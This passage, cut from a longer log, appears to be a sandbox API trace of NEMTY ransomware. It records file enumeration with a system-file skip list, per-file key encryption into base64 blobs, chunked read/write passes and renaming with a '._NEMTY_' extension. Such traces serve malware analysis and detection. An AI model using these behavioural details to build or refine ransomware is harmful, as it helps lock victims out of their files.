pszString="R44FdkcLD9vNJMgcDxNmNsP/rVnNWS+xQu2jZeezjKtmW1xe4z7Z08CiawC+nU1w\r\nUXv0qcFNYy+/toV2LkiTmK9i8Q6YOzGNMCdTrMbMjPvLMnpeUv1yqoKj8rAKqNBs\r\nznDjbXp3ZLWsnMKmuBpMOtc2jKWiImH/AZSB9lu/bdUKWQ0D1dl1wWzTo9hgszKw\r\nTmvx3gfjvplg3BZH4fxxX/3zj10tPqysuveM1wNl3j0OqK2YpbxvOLeqnKFm0goN\r\nhH1t66CGC51jyxhePGsyI8cWhlOvVwS2P9CYODg8J0y4Mi+iGdOc/NIMM/OvjjI2\r\nZfy1u0hepCBHjZosUSlUjQ==\r\n", pcchString=0x653e91c) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0086.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.282] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.282] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.384] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.384] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.396] CloseHandle (hObject=0xffffffff) returned 0 [0086.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0086.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0086.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0086.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0086.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0086.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0086.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0086.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0086.396] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0086.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0086.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.397] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2=".") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="..") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="...") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="windows") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="$RECYCLE.BIN") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="rsa") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="NTDETECT.COM") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="ntldr") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="MSDOS.SYS") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="IO.SYS") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="boot.ini") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="boot.ini") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="AUTOEXEC.BAT") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="ntuser.dat") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="desktop.ini") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="CONFIG.SYS") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="RECYCLER") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="BOOTSECT.BAK") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="bootmgr") returned 1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="programdata") returned -1 [0086.397] lstrcmpiW (lpString1="mainscroll.png", lpString2="appdata") returned 1 [0086.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0086.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainscroll.png", lpUsedDefaultChar=0x0) returned 14 [0086.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0086.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainscroll.png", lpUsedDefaultChar=0x0) returned 14 [0086.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0086.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainscroll.png", lpUsedDefaultChar=0x0) returned 14 [0086.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0086.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mainscroll.png", lpUsedDefaultChar=0x0) returned 14 [0086.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0086.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0086.398] Sleep (dwMilliseconds=0x5) [0086.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe72624d0, dwHighDateTime=0x1d561e7)) [0086.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe72624d0, dwHighDateTime=0x1d561e7)) [0086.406] GetLastError () returned 0x5 [0086.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.406] GetLastError () returned 0x5 [0086.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.407] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0086.407] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="WTsmfJwLQetQp0uwmu10bZg6fjV0XqOdEviTF+CdDcN7Hnw18n7rr8bSmKL4vkXf\r\n3RqNoR/A1+F/plzjTPr0jImqr7ogniULRyW4xuXwc6Gli/9rNuxcNZoJInzqhhOQ\r\nfGXamqjx2isxvos9pu48h5hNeyH6Dn2zb+ARwha60a5WfpFRDDC8RZQ+mkpa9LqX\r\nao4dhHxpLCBBkZUcMDwSkjKDqCYzdELs3HZYPasDtAmT51fxtGHYjAD1MdiYO6Fv\r\nC9kzTYCKp6Ps6iTKt+HXpKgGAwO1nP1lv3h/2pKw99Xz7DD8Fg0LeEkzB5ZBX20p\r\ngyMeyhp8ZtjW0cVBPPJ4qQ==\r\n", pcchString=0x653e91c) returned 1 [0086.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0086.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0086.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0086.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.407] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.408] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, 